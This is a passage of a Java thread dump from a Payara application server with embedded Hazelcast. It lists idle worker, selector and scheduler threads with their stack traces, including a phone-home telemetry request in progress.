java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.cached.thread-2" #103 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@20a80841 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-2(3)" #128 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6676490c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"payara-executor-service-scheduled-task" #160 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.9/java.net.Socket$SocketInputStream.read(Socket.java:1109) + at java.base@21.0.9/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.9/java.io.BufferedInputStream.read1(BufferedInputStream.java:347) + at java.base@21.0.9/java.io.BufferedInputStream.implRead(BufferedInputStream.java:420) + at java.base@21.0.9/java.io.BufferedInputStream.read(BufferedInputStream.java:399) + at java.base@21.0.9/sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:827) + at java.base@21.0.9/sun.net.www.http.HttpClient.parseHTTP(HttpClient.java:759) + at java.base@21.0.9/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1723) + at java.base@21.0.9/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1632) + at java.base@21.0.9/java.net.HttpURLConnection.getResponseCode(HttpURLConnection.java:531) + at fish.payara.nucleus.phonehome.PhoneHomeTask.send(PhoneHomeTask.java:164) + at fish.payara.nucleus.phonehome.PhoneHomeTask.run(PhoneHomeTask.java:76) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:358) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #4" #171 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-4" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-kernel(1) SelectorRunner" #132 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #2" #168 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hk2-asyncrunlevelcontext" #45 daemon [WAITING] on java.util.TaskQueue@444d54d4 + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at java.base@21.0.9/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.9/java.util.TimerThread.run(Timer.java:516) + +"hz.affectionate_khayyam.SlowOperationDetectorThread" #90 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:558) + at java.base@21.0.9/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:289) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"hz.affectionate_khayyam.event-3" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6907e039 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"http-thread-pool::http-listener-2(2)" #127 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6676490c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.response-1" #72 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(4)" #122 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@d265a9c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.generic-operation.thread-4" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f477f00 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-task" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5427c2d8 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Scheduled Executor Service" #50 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64d5374 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.IO.thread-in-1" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-3" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #5" #172 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #62 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785653503576" #46 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3fb43b09 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.partition-operation.thread-9" #82 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-2" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RMI Scheduler(0)" #187 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33e505ec + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5adbb206 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #9" #178 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at 